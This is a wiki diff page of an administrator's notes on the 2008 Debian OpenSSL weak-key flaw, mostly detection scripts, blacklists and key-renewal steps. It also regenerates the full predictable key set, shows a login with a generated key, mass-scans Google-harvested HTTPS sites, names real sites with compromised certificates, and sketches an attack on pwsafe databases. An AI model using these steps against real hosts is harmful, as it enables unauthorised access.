Difference between revisions of "Debian OpenSSL"
m (→OpenSSL) |
m (Reverted edits by Etegohy (Talk) to last revision by PhilippeTeuwen) |
||
(29 intermediate revisions by the same user not shown) | |||
Line 6: | Line 6: | ||
* http://www.milw0rm.com/exploits/5622 |
* http://www.milw0rm.com/exploits/5622 |
||
* http://www.yobi.be/files/blacklist.RSA-1024 32-bit Intel platform |
* http://www.yobi.be/files/blacklist.RSA-1024 32-bit Intel platform |
||
+ | * http://blog.cacert.org/2008/05/302.html |
||
===misc=== |
===misc=== |
||
Line 17: | Line 18: | ||
* http://www.red-bean.com/~maxb/ contains also RSA-1024 and RSA-1023 but not all archs, to be converted: |
* http://www.red-bean.com/~maxb/ contains also RSA-1024 and RSA-1023 but not all archs, to be converted: |
||
cat $1 | sed 's/^............//' | sort > blacklist.$(echo $1|cut -c 1-8|tr a-z A-Z) |
cat $1 | sed 's/^............//' | sort > blacklist.$(echo $1|cut -c 1-8|tr a-z A-Z) |
||
+ | ====DELETE ALL DSA KEYS==== |
||
+ | Ok there are nice DSA blacklists but actually [http://blog.sesse.net/blog/tech/2008-05-14-17-21_some_maths.html if a good DSA key was used on a bad machine, the key is compromised]! (thanks [http://roland.entierement.nu/blog/2008/05/15/branle-bas-sshssl.html Roland]) |
||
====Check==== |
====Check==== |
||
Line 78: | Line 81: | ||
cat myfing blacklist | sort | uniq -d |
cat myfing blacklist | sort | uniq -d |
||
====Scan==== |
====Scan==== |
||
− | [{{#file: dowkd.pl.patch}} Patch] for fetching keys from /etc/ssh/blacklist* |
+ | [{{#file: dowkd.pl.patch}} Patch] against [http://wiki.debian.org/SSLkeys#head-45e521140d6b8f2a0f96a115a5fc616c4f1baf0b dowkd.pl] for fetching keys from /etc/ssh/blacklist* |
<source lang=diff> |
<source lang=diff> |
||
--- dowkd.pl 2008-05-16 16:00:53.000000000 +0200 |
--- dowkd.pl 2008-05-16 16:00:53.000000000 +0200 |
||
Line 140: | Line 143: | ||
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key |
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key |
||
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key |
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key |
||
+ | </source> |
||
+ | |||
+ | If only the DSA keys must be regenerated (ALL DSA MUST BE REGENERATED!): |
||
+ | <source lang=bash> |
||
+ | mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.unsafe |
||
+ | mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.unsafe |
||
+ | ssh-keygen -f /etc/ssh/ssh_host_dsa_key -t dsa -N '' |
||
</source> |
</source> |
||
Line 176: | Line 186: | ||
===OpenSSL=== |
===OpenSSL=== |
||
+ | ====Check==== |
||
wget https://launchpad.net/ubuntu/hardy/+source/openssl-blacklist/0.1-0ubuntu0.8.04.2/+files/openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz |
wget https://launchpad.net/ubuntu/hardy/+source/openssl-blacklist/0.1-0ubuntu0.8.04.2/+files/openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz |
||
tar xzf openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz |
tar xzf openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz |
||
Line 219: | Line 230: | ||
try: |
try: |
||
print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report) |
print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report) |
||
+ | </source> |
||
+ | '''Update''' [http://security.ubuntu.com/ubuntu/pool/main/o/openssl-blacklist/openssl-blacklist_0.1-0ubuntu0.8.04.4_all.deb the new version] deals now with both key files and certificate files |
||
+ | |||
+ | Actually to get their version of a fingerprint out of a public certificate, you can simply do |
||
+ | openssl x509 -noout -modulus -in mycertificate.crt.pem |sha1sum |
||
+ | To check the host and all the vservers: |
||
+ | |||
+ | <source lang=bash> |
||
+ | find /etc /home/vservers/*/etc -name "*.key"|xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}' |
||
+ | find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}' |
||
+ | find /etc /home/vservers/*/etc -name "*.crt"|xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}' |
||
+ | find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}' |
||
+ | </source> |
||
+ | |||
+ | I'm using a modified version of openssl-vulnkey where I present always a default empty password to avoid being blocked by password-protected pems: |
||
+ | <source lang=diff> |
||
+ | --- /usr/sbin/openssl-vulnkey 2008-05-16 00:26:39.000000000 +0200 |
||
+ | +++ /usr/sbin/openssl-vulnkey 2008-05-18 16:40:02.000000000 +0200 |
||
+ | @@ -55,7 +55,7 @@ |
||
+ | |||
+ | def get_bits(file): |
||
+ | '''Find bit length of file''' |
||
+ | - rc, report = cmd(['openssl', 'rsa', '-text', '-in', file]) |
||
+ | + rc, report = cmd(['openssl', 'rsa', '-text', '-passin', 'pass:', '-in', file]) |
||
+ | if rc != 0: |
||
+ | try: |
||
+ | print >> sys.stderr, "ERROR:\n%s" % (report) |
||
+ | </source> |
||
+ | |||
+ | ====Scan==== |
||
+ | Next step is to get the certificates chain from the distant website |
||
+ | <br>Here is [{{#file: fetch-https-1cert.c}} fetch-https-1cert.c] to do the job |
||
+ | <source lang=c> |
||
+ | /** |
||
+ | * Fetch an HTTPS page and display the certificate chain. |
||
+ | |||
+ | Sources: |
||
+ | http://curl.haxx.se/mail/lib-2005-06/0106.html |
||
+ | http://openvpn.net/archive/openvpn-devel/2005-12/msg00000.html |
||
+ | http://www.mail-archive.com/debian-bugs-closed@lists.debian.org/msg173845.html |
||
+ | |||
+ | */ |
||
+ | |||
+ | #include <assert.h> |
||
+ | #include <stdio.h> |
||
+ | #include <curl/curl.h> |
||
+ | #include <openssl/ssl.h> |
||
+ | |||
+ | char error_buffer[CURL_ERROR_SIZE] = ""; |
||
+ | |||
+ | CURLcode go(CURL *curl, char *url); |
||
+ | CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm); |
||
+ | int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx); |
||
+ | void print_certificate(X509 *cert); |
||
+ | |||
+ | /* arrays for certificate chain and errors */ |
||
+ | #define MAX_CERTS 20 |
||
+ | X509 *certificate[MAX_CERTS]; |
||
+ | long certificate_error[MAX_CERTS]; |
||
+ | char site[256]; |
||
+ | int count=0; |
||
+ | |||
+ | int main(int argc, char *argv[]) |
||
+ | { |
||
+ | unsigned int i; |
||
+ | CURL *curl; |
||
+ | CURLcode code; |
||
+ | |||
+ | assert(argc == 2); |
||
+ | |||
+ | for (i = 0; i != MAX_CERTS; i++) { |
||
+ | certificate[i] = 0; |
||
+ | certificate_error[i] = X509_V_OK; |
||
+ | } |
||
+ | |||
+ | curl = curl_easy_init(); |
||
+ | assert(curl); |
||
+ | |||
+ | strncpy(site, argv[1], 256); |
||
+ | site[255]=0; |
||
+ | code = go(curl, argv[1]); |
||
+ | if (code != CURLE_OK) |
||
+ | fprintf(stderr, "Error %u: %s\n%s\n", |
||
+ | code, |
||
+ | curl_easy_strerror(code), |
||
+ | error_buffer); |
||
+ | |||
+ | curl_easy_cleanup(curl); |
||
+ | |||
+ | return 0; |
||
+ | } |
||
+ | |||
+ | CURLcode go(CURL *curl, char *url) |
||
+ | { |
||
+ | CURLcode code; |
||
+ | FILE* devnull = NULL; |
||
+ | devnull = fopen("/dev/null", "w+"); |
||
+ | code = curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, error_buffer); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | code = curl_easy_setopt(curl, CURLOPT_URL, url); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | // code = curl_easy_setopt(curl, CURLOPT_WRITEHEADER, stdout); |
||
+ | // if (code != CURLE_OK) |
||
+ | // return code; |
||
+ | code = curl_easy_setopt(curl, CURLOPT_WRITEDATA, devnull); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | code = curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | |||
+ | /* fetch the page even if verifying the certificates fails */ |
||
+ | code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | |||
+ | code = curl_easy_setopt(curl, CURLOPT_SSL_CTX_FUNCTION, sslctxfun); |
||
+ | if (code != CURLE_OK) |
||
+ | return code; |
||
+ | |||
+ | code = curl_easy_perform(curl); |
||
+ | fclose(devnull); |
||
+ | return code; |
||
+ | } |
||
+ | |||
+ | CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm) |
||
+ | { |
||
+ | SSL_CTX_set_verify(sslctx, SSL_VERIFY_PEER, verify_callback); |
||
+ | |||
+ | return CURLE_OK; |
||
+ | } |
||
+ | |||
+ | static void |
||
+ | extract_x509_field_ssl (X509_NAME *x509, const char *field_name, char *out, int size) |
||
+ | { |
||
+ | int lastpos = -1; |
||
+ | int tmp = -1; |
||
+ | X509_NAME_ENTRY *x509ne = 0; |
||
+ | ASN1_STRING *asn1 = 0; |
||
+ | unsigned char *buf = 0; |
||
+ | int nid = OBJ_txt2nid(field_name); |
||
+ | |||
+ | *out = '\0'; |
||
+ | do { |
||
+ | lastpos = tmp; |
||
+ | tmp = X509_NAME_get_index_by_NID(x509, nid, lastpos); |
||
+ | } while (tmp > 0); |
||
+ | |||
+ | /* Nothing found */ |
||
+ | if (lastpos == -1) |
||
+ | return; |
||
+ | |||
+ | x509ne = X509_NAME_get_entry(x509, lastpos); |
||
+ | if (!x509ne) |
||
+ | return; |
||
+ | |||
+ | asn1 = X509_NAME_ENTRY_get_data(x509ne); |
||
+ | if (!asn1) |
||
+ | return; |
||
+ | tmp = ASN1_STRING_to_UTF8(&buf, asn1); |
||
+ | if (tmp <= 0) |
||
+ | return; |
||
+ | |||
+ | strncpy(out, buf, size); |
||
+ | OPENSSL_free(buf); |
||
+ | } |
||
+ | |||
+ | int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx) |
||
+ | { |
||
+ | X509 *cert = X509_STORE_CTX_get_current_cert(x509_ctx); |
||
+ | int depth = X509_STORE_CTX_get_error_depth(x509_ctx); |
||
+ | int err = X509_STORE_CTX_get_error(x509_ctx); |
||
+ | FILE *peercert_file; |
||
+ | char s[256]; |
||
+ | char ii[256]; |
||
+ | |||
+ | /* save the certificate by incrementing the reference count and |
||
+ | * keeping a pointer */ |
||
+ | if (depth < MAX_CERTS && !certificate[depth]) { |
||
+ | certificate[depth] = cert; |
||
+ | certificate_error[depth] = err; |
||
+ | cert->references++; |
||
+ | } |
||
+ | |||
+ | extract_x509_field_ssl (X509_get_subject_name(cert), "CN", s, 256); |
||
+ | /* write peer-cert in tmp-file */ |
||
+ | if (s[0]==0) |
||
+ | { |
||
+ | strcpy(s, site+8); |
||
+ | } |
||
+ | sprintf(ii, "%d", count++); |
||
+ | strcat(s, ii); |
||
+ | printf("Writing cert in: %s\n", s); |
||
+ | peercert_file = fopen(s, "w+"); |
||
+ | if(!peercert_file) |
||
+ | { |
||
+ | printf("Failed to open file : %s", s); |
||
+ | return 1; |
||
+ | } |
||
+ | if(PEM_write_X509(peercert_file,cert)<0) |
||
+ | { |
||
+ | printf("Failed to write peer certificate in PEM format"); |
||
+ | fclose(peercert_file); |
||
+ | return 1; |
||
+ | } |
||
+ | fclose(peercert_file); |
||
+ | |||
+ | return 1; |
||
+ | } |
||
+ | </source> |
||
+ | |||
+ | So now empowered with Google we can do sth like this: |
||
+ | <source lang=bash> |
||
+ | #!/bin/bash |
||
+ | |||
+ | REQ=$1 |
||
+ | REQ=${REQ:-site:be} |
||
+ | |||
+ | start=0 |
||
+ | |||
+ | for ((i=$start;i<10;i++)); do |
||
+ | echo "Fetching 100 results starting from ${i}00" |
||
+ | for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\ |
||
+ | egrep -o "https://[a-z0-9.-]+"|\ |
||
+ | sort|\ |
||
+ | uniq); do |
||
+ | ./fetch-https-1cert $site |\ |
||
+ | cut -c 18- |\ |
||
+ | xargs -d '\n' -l1 -r ./openssl-vulncert | sed "s#\$# (from $site)#" |
||
+ | done |
||
+ | done |
||
+ | </source> |
||
+ | ./scanhttps |grep COMPROMISED|uniq -w 53 |
||
+ | |||
+ | COMPROMISED: 942c267f69f53567053ad77f980f2d8980270759 leclea.be1 (from https://leclea.be) |
||
+ | COMPROMISED: 9c5526d7d2d152e8ac437a669741a6ed6bed78a9 www.phpcompta.be0 (from https://phpcompta.be) |
||
+ | COMPROMISED: 97c7fdf8136f5c47d3aa2b9667dd252f6af7ebf6 phpcompta.be2 (from https://phpcompta.be) |
||
+ | COMPROMISED: fb62587b6fd13b6b7de54fcf10de77f586ac3362 Dr. Robert Necesseter0 (from https://tirna.nog.be) |
||
+ | COMPROMISED: a7ae2ec301f7b7b844371bc76c20ee0747c32f15 www.pptickets.be4 (from https://www.pptickets.be) |
||
+ | COMPROMISED: bbc4679d1ddccb716593c069708ad2cb21115a47 a248.e.akamai.net1 (from https://www.nokia.be) |
||
+ | COMPROMISED: 4da0544ef1cf3cac7e166592e0900d6be2a92fae www.smartsalto.be2 (from https://www.smartsalto.be) |
||
+ | COMPROMISED: 1b7da681c247784a6b9e1a1b2c15dcd091b5aa75 securehomes.esat.kuleuven.be2 (from https://securehomes.esat.kuleuven.be) |
||
+ | |||
+ | If you don't want to scan the entire chain but just the server certificate, you don't need fetch-https-1cert: |
||
+ | <source lang=bash> |
||
+ | #!/bin/bash |
||
+ | |||
+ | REQ=$1 |
||
+ | REQ=${REQ:-site:be} |
||
+ | |||
+ | start=0 |
||
+ | |||
+ | tmpfile=$(mktemp) |
||
+ | for ((i=$start;i<10;i++)); do |
||
+ | echo "Fetching 100 results starting from ${i}00" |
||
+ | for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\ |
||
+ | egrep -o "https://[a-z0-9.-]+"|\ |
||
+ | sort|\ |
||
+ | uniq); do |
||
+ | openssl s_client -connect ${site##https://}:443 </dev/null >$tmpfile 2>/dev/null |
||
+ | ./openssl-vulncert $tmpfile | sed "s#/tmp/.*\$#$site#" |
||
+ | done |
||
+ | done |
||
+ | rm $tmpfile |
||
</source> |
</source> |
||
Line 234: | Line 514: | ||
* [http://wiki.debian.org/SSLkeys#head-860f44b5b39b7db798a5f48162f2f253ad68d650 encfs] |
* [http://wiki.debian.org/SSLkeys#head-860f44b5b39b7db798a5f48162f2f253ad68d650 encfs] |
||
** My key is older, ouf! |
** My key is older, ouf! |
||
+ | * pwsafe, depends also on libssl0.9.8, to be assessed!! |
||
+ | ===Testing other applications using OpenSSL=== |
||
+ | We saw that there was a chroot environment for ssh-keygen but putting all applications you want to test in the chroot + all the dependencies can be painful so I did a script to use the ubuntu libraries but from the host, without need to chroot. |
||
+ | wget http://sugar.metasploit.com/ubunturoot.tar.bz2 |
||
+ | Actually you don't need all the filesystem, but just: |
||
+ | ./usr/lib/libcrypto.so.0.9.8 |
||
+ | ./usr/lib/libgnutls-openssl.so.13.0.6 |
||
+ | ./usr/lib/libgnutls-openssl.so.11.1.16 |
||
+ | ./usr/lib/libssl.so |
||
+ | ./usr/lib/libcrypto.so |
||
+ | ./usr/lib/libcrypto.so.0.9.7 |
||
+ | ./usr/lib/libk5crypto.so.3 |
||
+ | ./usr/lib/libk5crypto.so |
||
+ | ./usr/lib/libgnutls-openssl.so.11 |
||
+ | ./usr/lib/libk5crypto.so.3.0 |
||
+ | ./usr/lib/libgnutls-openssl.so.13 |
||
+ | ./usr/lib/libgnutls-openssl.so.12 |
||
+ | ./usr/lib/libssl.so.0.9.7 |
||
+ | ./usr/lib/libgnutls-openssl.so.12.3.8 |
||
+ | ./usr/lib/libssl.so.0.9.8 |
||
+ | ./getpid.so |
||
+ | Now my script [{{#file: execwithpid.sh}} execwithpid.sh]: |
||
+ | <source lang=bash> |
||
+ | #!/bin/bash |
||
+ | MAGICPID=$1 |
||
+ | shift |
||
+ | LD_PRELOAD=./getpid.so |
||
+ | LD_LIBRARY_PATH=./usr/lib/ |
||
+ | |||
+ | export MAGICPID |
||
+ | export LD_PRELOAD |
||
+ | export LD_LIBRARY_PATH |
||
+ | |||
+ | $@ |
||
+ | </source> |
||
+ | Example: (no chroot!) |
||
+ | $ ./execwithpid.sh 1 ssh-keygen -f test |
||
+ | Generating public/private rsa key pair. |
||
+ | Enter passphrase (empty for no passphrase): |
||
+ | Enter same passphrase again: |
||
+ | Your identification has been saved in test. |
||
+ | Your public key has been saved in test.pub. |
||
+ | The key fingerprint is: |
||
+ | 65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 phil@mercure |
||
+ | |||
+ | $ ssh-vulnkey test |
||
+ | COMPROMISED: 2048 65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 test.pub |
||
+ | Bingo :-) |
||
+ | $ ./execwithpid.sh 100 openssl genrsa -out test 1024 |
||
+ | Generating RSA private key, 1024 bit long modulus |
||
+ | ...............................++++++ |
||
+ | ..........................................++++++ |
||
+ | e is 65537 (0x10001) |
||
+ | |||
+ | $ openssl-vulnkey test |
||
+ | COMPROMISED: 7a8981b3333b29be27b03867d253bb3680957e1f test |
||
+ | Bingo :-) |
||
+ | ====pwsafe==== |
||
+ | Small subtility: pwsafe can be +s (for using safe RAM) but suid executables don't take injected libraries so we've to remove the suid bit to inject getpid.so |
||
+ | $ sudo chmod -s /usr/bin/pwsafe |
||
+ | $ ./execwithpid.sh 1 pwsafe -f test --createdb |
||
+ | no passphrase |
||
+ | $ ./execwithpid.sh 1 pwsafe -f test2 --createdb |
||
+ | no passphrase |
||
+ | $ md5sum test* |
||
+ | 23421a4fa62c127ad6c08a43afa8f4af test |
||
+ | 23421a4fa62c127ad6c08a43afa8f4af test2 |
||
+ | |||
+ | First issue: the random seed of the DBs is now the same! |
||
+ | <br>More exactly, the random, the salt and the iv. |
||
+ | <br>The random is fixed at creation of the DB. |
||
+ | <br>Apparently the seed & iv are renewed at every edition of the DB and depend only on a fresh random. |
||
+ | <br>Data encryption depend only on hash and seed/iv so even with different random, if the fresh random for seed is the same, the encrypted data is the same. |
||
+ | <br>A practical attack against a pwsafe DB is e.g. to construct a generic rainbow with the possible random seeds and your favorite character class. Once done it could attack any pwsafe DB generated with a broken OpenSSL or even edited with a broken OpenSSL (if I understand well). |
||
+ | |||
+ | $ ./execwithpid.sh 1 pwsafe -f test2 -a test |
||
+ | ... |
||
+ | Generate random password? [y] |
||
+ | Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx |
||
+ | $ ./execwithpid.sh 1 pwsafe -f test2 -a test |
||
+ | ... |
||
+ | Generate random password? [y] |
||
+ | Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx |
||
+ | Second issue: all nice passwords proposed by pwsafe when creating a new entry are now broken! |
||
+ | <br>So are all the accounts you created around based on those pwds |
||
+ | <br>No matter the DB/user/group/... you are using |
||
+ | |||
+ | Of course no matter how decently you seeded the RANDFILE ~/.rnd (cf man) |
||
+ | |||
+ | To rekey your pwsafe, create a new one, import the old one then delete the old one: |
||
+ | $ pwsafe -f newdb --create |
||
+ | Enter passphrase for newdb: |
||
+ | Reenter passphrase for newdb: |
||
+ | $ pwsafe -f newdb --mergedb=/home/myself/.pwsafe.dat |
||
+ | Enter passphrase for newdb: |
||
+ | Enter passphrase for /home/myself/.pwsafe.dat: |
||
+ | Merged 247 entries; skipped 0; 0 duplicates. |
||
+ | $ wipe /home/myself/.pwsafe.dat |
||
+ | $ wipe /home/myself/.pwsafe.dat~ |
||
+ | $ mv newdb /home/myself/.pwsafe.dat |
||
+ | $ mv newdb~ /home/myself/.pwsafe.dat~ |
||
+ | # once you're sure your new DB is working, wipe all the backups you could have made |
||
+ | |||
+ | And if you generated your account passwords with pwsafe, you'd better renew all those passwords... |
||
+ | |||
+ | More info should come soon on [http://wiki.debian.org/SSLkeys#head-6523d3550ab4db504bab0833605e2cbfac09e39b Debian wiki] |
||
+ | |||
===Status=== |
===Status=== |
||
* zeus |
* zeus |
Latest revision as of 21:36, 24 November 2010
This is a compilation of my notes on this matter
Links
- http://www.debian.org/security/2008/dsa-1576
- http://www.debian.org/security/key-rollover/
- http://metasploit.com/users/hdm/tools/debian-openssl/
- http://www.milw0rm.com/exploits/5622
- http://www.yobi.be/files/blacklist.RSA-1024 32-bit Intel platform
- http://blog.cacert.org/2008/05/302.html
misc
OpenSSH
Blacklists
- Current official blacklists cover RSA-2048 and DSA-1024 keys as generated on 32-bit little-endian, 64-bit little-endian and 32-bit big-endian systems
- Version Including 4096bit RSA fingerprints: http://love.hole.fi/atte/openssh-blacklist/openssh-blacklist_0.1.2_all.deb
- debian_ssh_scan_v3.tar.bz2 now including DSA 1024, RSA 2048 and RSA 4096 bit keys. Check tool dusplays also PID so very easy to generate the corresponding key.
- http://www.red-bean.com/~maxb/ contains also RSA-1024 and RSA-1023 but not all archs, to be converted:
cat $1 | sed 's/^............//' | sort > blacklist.$(echo $1|cut -c 1-8|tr a-z A-Z)
DELETE ALL DSA KEYS
Ok there are nice DSA blacklists but actually if a good DSA key was used on a bad machine, the key is compromised! (thanks Roland)
Check
Etch version gives you openssh-blacklist package and ssh-vulnkey in openssh-client
This Etch version has a sshd which checks all client connections against the blacklist so even if the keys are still in authorized_keys you should be safe
On Lenny/Sid, you can extract the Etch /etc/ssh/blacklist* and /usr/bin/ssh-vulnkey and use them
To checks all my vservers I did this [{{#file: ssh-myvuln.sh}} little script]:
#!/bin/bash
function filter () {
sed 's/\(Not blacklisted: \)/\1 /;
s/\(COMPROMISED: \)/\1 /;
s/222$/.broken/;
'
}
function scan () {
#echo $1
ssh-vulnkey $1 | filter
}
function checkpath () {
mypath="$1"
echo "===== server keys at $mypath ====="
for i in $(ls ${mypath}etc/ssh/*_key 2>/dev/null); do scan $i; done
echo "===== discarded broken server keys at $mypath ====="
for i in $(ls ${mypath}etc/ssh/*_key.pub.broken 2>/dev/null); do cp $i ${i%%.broken}222; scan ${i%%.broken}222; rm ${i%%.broken}222; done
echo "===== client keys at $mypath ====="
for i in $(ls ${mypath}root/.ssh/id* 2>/dev/null); do scan $i; done
for i in $(ls ${mypath}home/*/.ssh/id* 2>/dev/null); do scan $i; done
for v in $(ls ${mypath}etc/passwd 2>/dev/null); do
for u in $(cat $v|awk -F: '{print $6}'|sort|uniq|egrep -v "^(/root|/home/[a-z0-9]*)$"|sed 's#^/##'); do
for i in $(ls ${v%%etc/passwd}${u}/.ssh/id* 2>/dev/null); do scan $i; done
done
done
echo "===== authorized external client keys at $mypath ====="
for i in $(ls ${mypath}root/.ssh/*_keys* 2>/dev/null); do scan $i; done
for i in $(ls ${mypath}home/*/.ssh/*_keys* 2>/dev/null); do scan $i; done
for i in $(ls ${mypath}var/lib/backuppc/.ssh/*_keys* 2>/dev/null); do scan $i; done
echo "===== known external server keys at $mypath ====="
for i in $(ls ${mypath}etc/ssh/known_hosts 2>/dev/null); do scan $i; done
for i in $(ls ${mypath}root/.ssh/known_hosts 2>/dev/null); do scan $i; done
for i in $(ls ${mypath}home/*/.ssh/known_hosts 2>/dev/null); do scan $i; done
for i in $(ls ${mypath}var/lib/backuppc/.ssh/known_hosts 2>/dev/null); do scan $i; done
}
checkpath "/"
checkpath "/home/vservers/*/"
To get a resume sortable on the fingerprint:
ssh-myvuln.sh |grep ":..:..:"|sed 's/\(.\).* \(..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..\) \(.*\)/\2 \1 hostname:\3/'|sort > mykeys
To get a list to check against a blacklist:
cat mykeys |cut -c 19,20,22,23,25,26,28,29,31,32,34,35,37,38,40,41,43,44,46,47|sort|uniq > myfing cat myfing blacklist | sort | uniq -d
Scan
[{{#file: dowkd.pl.patch}} Patch] against dowkd.pl for fetching keys from /etc/ssh/blacklist*
--- dowkd.pl 2008-05-16 16:00:53.000000000 +0200
+++ dowkd.pl 2008-05-16 15:55:23.000000000 +0200
@@ -47,19 +47,29 @@
my $db;
my %db;
+my $blacklistdir='/etc/ssh';
+
sub create_db () {
$db = tie %db, 'DB_File', $db_file, O_RDWR | O_CREAT, 0777, $DB_BTREE
or die "error: could not open database: $!\n";
$db{''} = $db_version;
- while (my $line = <DATA>) {
- next if $line =~ /^\**$/;
- chomp $line;
- $line =~ /^[0-9a-f]{32}$/ or die "error: invalid data line";
- $line =~ s/(..)/chr(hex($1))/ge;
- $db{$line} = '';
+ opendir(my $dh, $blacklistdir) or die "Cannot open dir $blacklistdir : $!\n";
+ while(my $e=readdir($dh)) {
+ next if $e =~ m/^\.\.?$/;
+ next unless $e =~ m/^blacklist/;
+print STDERR "Reading $e\n";
+ open (my $fh, $blacklistdir.'/'.$e) or die "Cannot open file $e : $!\n";
+ while (my $line = <$fh>) {
+ next if $line =~ /^\**$/;
+ next if $line =~ /^#/;
+ chomp $line;
+ $line =~ /^[0-9a-f]{20}$/ or die "error: invalid data line";
+#print STDERR "Line= $line\n";
+ $line =~ s/(..)/chr(hex($1))/ge;
+ $db{$line} = '';
+ }
}
-
$db->sync;
}
@@ -106,6 +116,7 @@
sub check_hash ($$) {
my ($name, $hash) = @_;
++$keys_found;
+ $hash =~ s/^......//;
if (exists $db{$hash}) {
++$keys_vulnerable;
print "$name: weak key\n";
for ip in $(netenum 85.17.183.154/27); do ./dowkd.pl host $ip; done
Netenum is part of irpas
Renew server keys
mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.broken
mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.broken
mv /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.broken
mv /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_rsa_key.pub.broken
dpkg-reconfigure openssh-server
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key
If only the DSA keys must be regenerated (ALL DSA MUST BE REGENERATED!):
mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.unsafe
mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.unsafe
ssh-keygen -f /etc/ssh/ssh_host_dsa_key -t dsa -N ''
Generate vuln keys & blacklists
To generate yourself the vulnerable key set:
wget http://sugar.metasploit.com/ubunturoot.tar.bz2 wget http://metasploit.com/users/hdm/tools/debian-openssl/dokeygen.sh
Put dokeygen.sh in the root of the ubuntu filesystem Example for RSA 1024 (but RSA keys were upgraded by default to 2048 since Sept 2005)
sudo chroot ubunturoot
for ((i=1;i<32768;i++)); do
echo $i;
/dokeygen.sh $i -t rsa -b 1024 -f /tmp/rsa_1024_$i;
done
Ideally keys & blacklists must be generated on 32 & 64-bit platforms, little & big endian
Then to extract the fingerprints to make the blacklist
for ((i=1;i<32768;i++)); do
if [ -e rsa_1024_$i ]; then
echo $i;
f=$(ssh-keygen -l -f rsa_1024_$i|sed 's/1024 \([0-9a-f:]\+\) rsa.*/\1/;s/://g')
mv rsa_1024_$i $f-$i
mv rsa_1024_$i.pub $f-$i.pub
echo $f |sed 's/^............//'>> blacklist.RSA-1024
fi
done
Exploiting a vuln key:
Example of a fingerprint found in an authorized_keys file:
ssh -i 491f487168134647f111a882c8a04059-21223 bibi@hostname bibi@hostname:~$
OpenSSL
Check
wget https://launchpad.net/ubuntu/hardy/+source/openssl-blacklist/0.1-0ubuntu0.8.04.2/+files/openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz tar xzf openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz cd openssl-blacklist-0.1 Edit debian/control and cleans the dependence on openssl for Ubuntu fakeroot debian/rules binary cd .. sudo dpkg -i openssl-blacklist_0.1-0ubuntu0.8.04.2_all.deb
Now you have openssl-vulnkey tool
But this works only on private key files.
Here is a [{{#file: openssl-vulnkey.patch}} patch] to get it working against public certificate files (so you can check certifs of your favorite https sites, e.g. by exporting the certifs with FF)
--- openssl-vulnkey 2008-05-16 19:56:51.000000000 +0200
+++ openssl-vulncert 2008-05-16 19:56:36.000000000 +0200
@@ -55,7 +55,7 @@
def get_bits(file):
'''Find bit length of file'''
- rc, report = cmd(['openssl', 'rsa', '-text', '-in', file])
+ rc, report = cmd(['openssl', 'x509', '-text', '-in', file])
if rc != 0:
try:
print >> sys.stderr, "ERROR:\n%s" % (report)
@@ -64,16 +64,16 @@
return ""
for line in report:
- if "Private-Key: (1024" in report:
+ if "Public Key: (1024" in report:
return "1024"
- elif "Private-Key: (2048" in report:
+ elif "Public Key: (2048" in report:
return "2048"
return ""
def get_modulus(file):
'''Find modulus of file'''
- rc, report = cmd(['openssl', 'rsa', '-noout', '-modulus', '-in', file])
+ rc, report = cmd(['openssl', 'x509', '-noout', '-modulus', '-in', file])
if rc != 0:
try:
